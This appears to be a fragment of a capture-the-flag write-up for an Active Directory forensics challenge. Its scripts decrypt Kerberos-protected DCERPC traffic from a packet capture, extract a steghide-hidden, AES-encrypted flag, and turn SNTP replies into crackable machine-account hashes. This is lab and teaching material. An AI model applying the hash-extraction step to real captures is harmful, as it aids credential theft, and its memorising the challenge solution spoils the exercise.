    '-o', 'kerberos.file:login.keytab',
    '-r', 'suctf-ad.pcapng',
    '-Y', 'tcp.stream==10 && dcerpc.cn_call_id==21 && dcerpc.pkt_type==2',
    '-T', 'fields',
    '-e', 'frame.number',
    '-e', 'dcerpc.decrypted_stub_data'
], text=True, encoding='utf-8', errors='ignore')

parts = []
for line in out.splitlines():
    if '\t' not in line:
        continue
    fr, hexdata = line.split('\t', 1)
    hexonly = re.sub(r'[^0-9A-Fa-f]', '', hexdata)
    if not hexonly:
        continue
    parts.append((int(fr), hexonly))

parts.sort()
full = b''.join(bytes.fromhex(h) for _, h in parts)

idx = full.find(b'<\x00?\x00x\x00m\x00l\x00')
if idx == -1:
    idx = full.find(b'<\x00T\x00a\x00s\x00k\x00')
if idx == -1:
    raise SystemExit('Task XML not found')

xml = full[idx:].decode('utf-16le', errors='ignore')
end = xml.find('</Task>')
if end == -1:
    raise SystemExit('</Task> not found')
xml = xml[:end + 7]

Path('stream10_retrieve.xml').write_text(xml, encoding='utf-8')

m = re.search(r'<Description>(.*?)</Description>', xml, re.S)
if not m:
    raise SystemExit('Description not found')

raw = base64.b64decode(m.group(1))
Path('flag.jpg').write_bytes(raw)

print('wrote stream10_retrieve.xml')
print('wrote flag.jpg', len(raw), raw[:4])

steghide info flag.jpg -p 'Taylor@1989'
"flag.jpg":
  format: jpeg
  capacity: 40.9 KB
  embedded file "flag.txt":
    size: 236.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

steghide extract -sf flag.jpg -p 'Taylor@1989'

QqWLN5rRRL3PaY57fcy8BCHVa/0td+R6LmenlhPZ1JHVgLeRKw9g53EJv3/fx+92i7ZQkQCciC3xGccbf8NAT8Z9LJdc6mtfIIQcpe0hh2dNSHVUDXE/esTeJ3zIUGAh09N6SQBCQqIa4IX529QjTrwMphzfwIN8mgAjgx6jJ3Um3bSnxkIO9hJJL5+Xxjs/0LRx7QwELhDzuA9+m7vaFwKzKclwT+MnsrXA942K3wQ=

import subprocess, struct

for fr in [775, 789]:
    out = subprocess.check_output(
        ['tshark', '-r', 'suctf-ad.pcapng', '-Y', f'frame.number=={fr}', '-T', 'fields', '-e', 'udp.payload'],
        text=True
    ).strip().replace(':', '')
    raw = bytes.fromhex(out)

    salt = raw[:48]
    rid  = struct.unpack('<I', raw[-20:-16])[0]
    md5h = raw[-16:]

    print(f'{rid}:$sntp-ms${md5h.hex()}${salt.hex()}')

from pathlib import Path
import base64, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

raw = base64.b64decode(Path("flag.txt").read_text().strip())
key = hashlib.sha256(b"*joker*123").digest()
iv = raw[:16]
ct = raw[16:]
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
print(pt.decode())